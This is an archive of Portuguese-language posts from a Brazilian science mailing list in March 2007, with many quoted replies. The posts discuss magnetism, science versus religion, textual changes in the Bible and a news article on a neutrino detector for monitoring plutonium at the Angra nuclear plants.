Para: "ciência list" <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 14:20
Assunto: [ciencialist] Por quê alguns elementos não são imantados?


A razão pelo qual o Ferro pode vir a se tornar um imã conheço, porém não entendo pelo o que eu li, o porquê de o outros elementos não poderem gerar campo magnéticos.
Abraço

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SUBJECT: Re: [ciencialist] Como funciona o processo de conhecer a natureza
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 17:15

Caro Léo,


O seu pensamento, expresso em http://www.feiradeciencias.com.br/sala19/texto00.asp, reflete exatamente o que se pode esperar de um educador cujo pensamento está sintonizado com a realidade que adequadamente percebe, fruto de sua sensibilidade e de seu conhecimento da ciência da natureza, que é a física. Conhecimento esse perfeitamente incorporado a você, indelevelmente, como uma segunda identidade. Pelo tanto que já lí de você, tanto aquí como no Imperdível, permito-me parodiar Fernando Pessoa, dizendo que minha impressão é que você tem feito física como quem morre! A exposição dessa percepção, da maneira madura, simples e objetiva do jeito que foi, certamente dará ao jovem leitor, ao seu estudante em formação, o norte que lhe é necessário para a trilha que deverá tomar. Não tenho dúvidas disto. Meu sobrinho que o diga. Gostaria de ter escrito algo assim, um dia. Parabéns, realmente.

Sds,
Victor.







----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 3:59 PM
Subject: [ciencialist] Como funciona o processo de conhecer a natureza


A única pergunta racional que Ferrari faz em meses é "como funciona o processo de conhecer a natureza".

E, para tal pergunta há duas únicas respostas, no momento:

a) através do misticismo; aceitar que há uma divindade que guia todo o processo e induz (lentamente) o pensamento humano a pensar sobre o 'porque' dos fenômenos, dando-lhes a faculdade de 'criar' teorias e acreditar nelas após alguns ensaios de validade.

b) através do método científico em toda sua plenitude e nuances.

A opção (a) carece de qualquer evidência; a opção (b) tem trazido frutos que arrasta consigo toda a humanidade.
Esquecer por completo a existência de uma divindade não acarretará falta ou prejuízo algum à humanidade; esquecer por completo a Ciência é caminho certo para o breve encurtamento da nossa existência --- os sobreviventes serão, cada um , o http://www.feiradeciencias.com.br/sala19/texto00.asp .

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 13:15
Assunto: [ciencialist] Re: Homero: Sobre o Método Cientifico - ad infinitum

Olá Homero!

Homero >>> Embora me sinta meio tolo tentando manter
uma conversa racional com você (como explicar o ciclo
de Krebs da mitocondria a uma criança de 3 anos), vale
mais uma tentativa.

--- Homero, por favor, vc não é obrigado a conversar
comigo. Se vc faz isto, suponho que deve ter seus
motivos. Meus motivo em conversar com vc, são os
mesmos motivos que tenho pra conversar com qualquer
pessoa:





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: neutrino
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 17:25

Deus:

já se faz a identificação de neutrinos a ceu aberto? Acreditava que só no Japão tem uma mina abandonada, com água extremamente pura onde eventualmente notam-se neutrinos vindos do espaço.....



aulinha dos físicos....



obrigado,

silvio



Vigia atômico


30/03/2007

Por Fábio de Castro

Agência FAPESP - O controle eficaz da produção de plutônio em reatores nucleares é uma maneira de se restringir o uso deste elemento radioativo para a construção de armas nucleares. Mas os métodos de monitoramento geralmente dependem da presença de inspetores, que nem sempre têm acesso completo às usinas.

Uma alternativa, no entanto, prescinde dos inspetores e fornece um retrato fiel do que se passa dentro do reator, flagrando qualquer possível desvio de plutônio para outros fins: o uso do detector de neutrinos. E é precisamente nessa área que o Brasil se prepara para dar sua primeira contribuição ao controle do uso militar da energia nuclear.

O Centro Brasileiro de Pesquisas Físicas (CBPF) acaba de anunciar a construção de um detector de neutrinos nas proximidades das usinas de Angra dos Reis (RJ). O detector terá financiamento de R$ 1 milhão da Financiadora de Estudos e Projetos (Finep) e será a primeira aplicação na área de neutrinos no país, de acordo com João dos Anjos, pesquisador do CBPF e coordenador do projeto, que deverá ser concluído em dois anos.

O equipamento será instalado em um laboratório subterrâneo a cerca de 60 metros da usina. O projeto também é coordenado pelos pesquisadores Marcelo Guzzo e Ernesto Kemp, da Universidade Estadual de Campinas, e terá participação da Universidade de São Paulo, da Pontifícia Universidade Católica do Rio de Janeiro, da Universidade Federal da Bahia e da Universidade Estadual de Feira de Santana.

"É muito importante que o Brasil, como um país que assinou o tratado de não-proliferação de armas nucleares, mostre, com esse projeto, que está empenhado em ajudar no controle do uso militar do plutônio. Além disso, estaremos participando de pesquisas em uma área emergente, com grande potencial de desenvolvimento científico", disse Anjos à Agência FAPESP.

Segundo o pesquisador, os problemas relacionados ao aquecimento global aumentarão a necessidade de usinas nucleares no planeta, agravando a possibilidade de desvios de plutônio para fins militares. "Atualmente, há cerca de 400 reatores no mundo e esse número deverá dobrar em dez anos. Isso implica que as salvaguardas em relação ao uso do plutônio precisam ser mais restritas", afirmou.

Os neutrinos, de acordo com Anjos, praticamente não interagem com a matéria, podendo atravessar uma hipotética parede de chumbo com 9,5 trilhões de quilômetros de espessura sem se chocar com um único átomo. Por isso, saem do reator nuclear levando informações sobre o que se passa em seu interior.

"Há uma relação linear entre a potência térmica do reator e a quantidade de neutrinos gerada. Como cada elemento tem um espectro de energia diferente, ao analisar a produção de neutrinos, podemos determinar a quantidade de plutônio presente no combustível nuclear", explicou o professor do CBPF.

Segundo João dos Anjos, o detector é feito com um cintilador líquido. Os neutrinos saem do reator, chegam ao detector, no qual interagem com os prótons, e geram pulsos luminosos. "Nós analisamos os espectros de luz e descobrimos qual a mistura de elementos combustíveis que está sendo empregada na fissão nuclear", disse

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 17:40

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia


Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: RE: [ciencialist] Como funciona o processo de conhecer a natureza
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 17:44

Ferrari,
não sei como é que vc encontra capacidade sacal p/o papo.
É como enxugar gelo, meu!
Vc deve se sentir um Orlando Villas Boas, sem querer ofender qualquer
silvícula.
Arre égua! Só mesmo morando num sítio! abr/M. 30/març07


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: [ciencialist] Como funciona o processo de conhecer a natureza
>Date: Fri, 30 Mar 2007 15:59:20 -0300
>
>A única pergunta racional que Ferrari faz em meses é "como funciona o
>processo de conhecer a natureza".
>
>E, para tal pergunta há duas únicas respostas, no momento:
>
>a) através do misticismo; aceitar que há uma divindade que guia todo o
>processo e induz (lentamente) o pensamento humano a pensar sobre o 'porque'
>dos fenômenos, dando-lhes a faculdade de 'criar' teorias e acreditar nelas
>após alguns ensaios de validade.
>
>b) através do método científico em toda sua plenitude e nuances.
>
>A opção (a) carece de qualquer evidência; a opção (b) tem trazido frutos
>que arrasta consigo toda a humanidade.
>Esquecer por completo a existência de uma divindade não acarretará falta ou
>prejuízo algum à humanidade; esquecer por completo a Ciência é caminho
>certo para o breve encurtamento da nossa existência --- os sobreviventes
>serão, cada um , o http://www.feiradeciencias.com.br/sala19/texto00.asp .
>
>aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "Ferrari" <emailferrari@yahoo.com.br>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: sexta-feira, 30 de março de 2007 13:15
>Assunto: [ciencialist] Re: Homero: Sobre o Método Cientifico - ad infinitum
>
>
>Olá Homero!
>
>Homero >>> Embora me sinta meio tolo tentando manter
>uma conversa racional com você (como explicar o ciclo
>de Krebs da mitocondria a uma criança de 3 anos), vale
>mais uma tentativa.
>
>--- Homero, por favor, vc não é obrigado a conversar
>comigo. Se vc faz isto, suponho que deve ter seus
>motivos. Meus motivo em conversar com vc, são os
>mesmos motivos que tenho pra conversar com qualquer
>pessoa:
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SUBJECT: Re: Alteracoes na Biblia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 17:58

--- Em ciencialist@yahoogrupos.com.br, "Adeilson Moreira Junior"
> Algum de voces conhece algum site que trate da Biblia e os erros que
> ela contem?

Aqui parece q tem algumas.

Não sei se é confiável.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Alteracoes na Biblia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 18:04

Como se vê, não podemos nem mesmo confiar nas leis da robótica! Imagine só, um Takata esquecendo de colocar o link!
A que ponto chegamos! :-)))

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 17:58
Assunto: [ciencialist] Re: Alteracoes na Biblia


--- Em ciencialist@yahoogrupos.com.br, "Adeilson Moreira Junior"
> Algum de voces conhece algum site que trate da Biblia e os erros que
> ela contem?

Aqui parece q tem algumas.

Não sei se é confiável.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Como funciona o processo de conhecer a natureza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 18:16

Amigo Victor,

Acredito "piamente"(*) que vc deveria mudar de profissão. Já pensou em ser massagista? Sucesso total!
Essa 'massagem no ego' me dará subsídios não só para um fim de semana feliz como embalo para escrever novos temas para o Imperdível. Pena que meus leitores não tenham, todos, essa sua sensibilidade.

Ah! Que tal vc dar um jeito de enviar seu sobrinho para passar uns dias aqui comigo? Basta avisar do dia de chegada que tirarei dezenas de aparelho científicos de cima de uma das camas e ele terá seu ninho de Morfeu --- além de sucos direto do quintal. Se ele vier em tempo verá como se desenvolve o projeto atual: fazer um motor com condutores líquidos. Pense num motor elétrico didático, agora substitua os fios de cobre por tubos de plástico flexível cheios de água acidulada com eletrodos nas extremidades. Bobinas de tubo (estator), enrolamento de tubo (rotor). É uma festa!

aquele abraço,

(*) piamente tem algo a ver com uma pia! :-))

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Victor" <jvoneto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 17:15
Assunto: Re: [ciencialist] Como funciona o processo de conhecer a natureza


Caro Léo,


O seu pensamento, expresso em http://www.feiradeciencias.com.br/sala19/texto00.asp, reflete exatamente o que se pode esperar de um educador cujo pensamento está sintonizado com a realidade que adequadamente percebe, fruto de sua sensibilidade e de seu conhecimento da ciência da natureza, que é a física. Conhecimento esse perfeitamente incorporado a você, indelevelmente, como uma segunda identidade. Pelo tanto que já lí de você, tanto aquí como no Imperdível, permito-me parodiar Fernando Pessoa, dizendo que minha impressão é que você tem feito física como quem morre! A exposição dessa percepção, da maneira madura, simples e objetiva do jeito que foi, certamente dará ao jovem leitor, ao seu estudante em formação, o norte que lhe é necessário para a trilha que deverá tomar. Não tenho dúvidas disto. Meu sobrinho que o diga. Gostaria de ter escrito algo assim, um dia. Parabéns, realmente.

Sds,
Victor.







----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 3:59 PM
Subject: [ciencialist] Como funciona o processo de conhecer a natureza


A única pergunta racional que Ferrari faz em meses é "como funciona o processo de conhecer a natureza".

E, para tal pergunta há duas únicas respostas, no momento:

a) através do misticismo; aceitar que há uma divindade que guia todo o processo e induz (lentamente) o pensamento humano a pensar sobre o 'porque' dos fenômenos, dando-lhes a faculdade de 'criar' teorias e acreditar nelas após alguns ensaios de validade.

b) através do método científico em toda sua plenitude e nuances.

A opção (a) carece de qualquer evidência; a opção (b) tem trazido frutos que arrasta consigo toda a humanidade.
Esquecer por completo a existência de uma divindade não acarretará falta ou prejuízo algum à humanidade; esquecer por completo a Ciência é caminho certo para o breve encurtamento da nossa existência --- os sobreviventes serão, cada um , o http://www.feiradeciencias.com.br/sala19/texto00.asp .

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 13:15
Assunto: [ciencialist] Re: Homero: Sobre o Método Cientifico - ad infinitum

Olá Homero!

Homero >>> Embora me sinta meio tolo tentando manter
uma conversa racional com você (como explicar o ciclo
de Krebs da mitocondria a uma criança de 3 anos), vale
mais uma tentativa.

--- Homero, por favor, vc não é obrigado a conversar
comigo. Se vc faz isto, suponho que deve ter seus
motivos. Meus motivo em conversar com vc, são os
mesmos motivos que tenho pra conversar com qualquer
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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 19:15

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Feira Tecnol�gica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 19:24

Quem mora por essas bandas para me dar algumas dicas sobre a aceitação ou não do convite.
Conhecem a entidade?

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Moacir Tomaz Da Silva
Para: leobarretos@uol.com.br
Cc: Paulo Vinicius Neves Ribas
Enviada em: sexta-feira, 30 de março de 2007 09:06
Assunto: Feira Tecnológica


Prezado Professor;

Em primeiro lugar, desejo parabenizá-lo pelo belo trabalho apresentado no site e pela sua dedicação fervorosa à ciência. Somos da área de Engenharia de uma unidade da Votorantim Metais sediada em Três Marias - MG, às margens do Rio São Francisco e estamos empenhados em apoiar as atividades de uma Fundação que mantém cursos técnicos em Eletromecânica e Química.



Nosso apoio a esta Escola é principalmente porque estamos em uma cidade com 25 mil habitantes, localizada a 280 km de Belo Horizonte necessitando de formar parte de nossos Recursos Humanos.



Como em todos os anos, teremos nos dias 31/05 e 01/06, uma Feira Tecnológica. Na noite do dia 31 está programada uma palestra de abertura do evento para os alunos e convidados. Seria um prazer tê-lo conosco como Conferencista nesta noite, pois temos a expectativa de mostrar aos alunos com exemplos, as enormes possibilidades que o conhecimento tecnológico abre em nossas vidas.



Caso seja possível contarmos com sua presença, gostaríamos de aprofundar este contato para viabilizar sua vinda.





Desde já agradecemos a atenção.





Atenciosamente





Moacir Tomaz da Silva

Analista de Qualidade

Eng. Manut. Utilidades

(38) 3754-9235





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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 21:06

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.




----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 21:29

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: [ciencialist] Como funciona o processo de conhecer a natureza
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 21:46


--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> A única pergunta racional que Ferrari faz em meses é
> "como funciona o processo de conhecer a natureza".
>
> E, para tal pergunta há duas únicas respostas, no
> momento:
>
> a) através do misticismo; aceitar que há uma
> divindade que guia todo o processo e induz
> (lentamente) o pensamento humano a pensar sobre o
> 'porque' dos fenômenos, dando-lhes a faculdade de
> 'criar' teorias e acreditar nelas após alguns
> ensaios de validade.

Lendo alguns emails de Ferrari tenho a impressão que
ele esta querendo dizer que não há diferença entre um
cientista e um religioso porque ambos acreditam em
seus valores(sob o ponto de vista apenas do crer).
Faltou dizer que o cientista acredita que suas crenças
são válidas porque elas são cognoscíveis imanentes em
detrimento das crenças religiosas que são de natureza
(in)cognoscível transcedente.

Mas saber a fronteira de cada uma nos leva a velha
discussão sobre o método...




"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 23:23

Em campos magnéticos, Takata?
São fótons virtuais, teóricos ou detectáveis tais como ondas-partículas
eletromagnéticas?
Vc tem alguma notícia a dispor sobre isso?
[]s
José Renato
.................................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 29, 2007 11:45 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Fótons foram detectados estruturando que campo?

O eletromagnético, naturalmente.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - decodificando?=
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 23:42

Ufa! Finalmente um diálogo construtivo de primeira qualidade. Parabéns, Jeff
e Ferrari!
Quanto as 4 possibilidades ou formas de entender as coisas, acho que ficou
exagerada a descrição de que a intenção do religioso "querer ser deus".
Pelos textos mais antigos, Lúcifer quis ser Deus, Eva e Adão quiseram...
Abraços
José Renato
..........................................................
From: "Ferrari" <emailferrari@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 30, 2007 11:59 AM
Subject: [ciencialist] Re: Sobre o Método Cientifico - decodificando?=


> Olá Jeff!
>
> Jeff >>> Pra que criar um sentido que dê sentido ao
> que não faz sentido?
>
> --- Pra ter uma "forma" lógica de interagir com o que
> não faz sentido (ilógico).
>
> --- Considere o seguinte: interação = comunicação. É a
> mesma coisa, apenas questão semantica.
>
> --- Imagine que vc decida viajar pro japão. Os
> japoneses vão emitir som que não irão fazer sentido
> pra vc. Vc supoe que faz sentido pra eles, pois eles
> interagem muito bem usando aqueles sons, mas pra vc os
> sons que os japoneses emitem não faz sentido, e sendo
> assim, vc também não consegue interagir verbalmente
> com eles.
>
> --- O que vc faz para conseguir interagir verbalmente
> com os japoneses. Vc tem que fazer aqueles sons sem
> sentido fazerem sentido pra vc, não é? Mas como?
> TRADUZINDO para o portugues. E outras palavras:
> DECODIFICANDO, criando um sentido (portugues) que dê
> sentido ao que não faz sentido (japones).
>
> --- Agora, se vc não tiver interesse em interagir
> verbalmente com os japoneses, ai vc não tem porque
> tradudir, pois "pra que" implica em uso, uso implica
> em usuário, e usuário implica em interesse.
>
> Jeff >>> Então os crentes estão acima dos cientistas,
> pois "já sabem" que o desconhecido é um negócio
> chamado "deus", que controla tudo.
>
> --- Como vc generalizou, vou responder
> generalizadamente também: Não!
>
> --- A maioria dos crentes não "sabem" o que é deus,
> eles apenas "acreditam" numa teoria. Uma teoria
> teológica. É diferente "saber o significado de uma
> teoria! de apenas "acreditar numa teoria".
>
> --- Outra coisa, ninguém está acima de ninguém. Os
> seres humanos apenas possuem "formas diferentes" de se
> interressar pela "mesma coisa": deus. Novamente
> generalizando, classifico estas formas diferentes de
> interesse em 4 formas:
>
> --- Cientifica - querer conhecer deus.
> --- Artistica - querer sentir deus.
> --- Filosofica - querer entender deus.
> --- Religiosa - querer ser deus. (religare)
>
> Jeff >>> Não sei se um dia vamos entender a verdade,
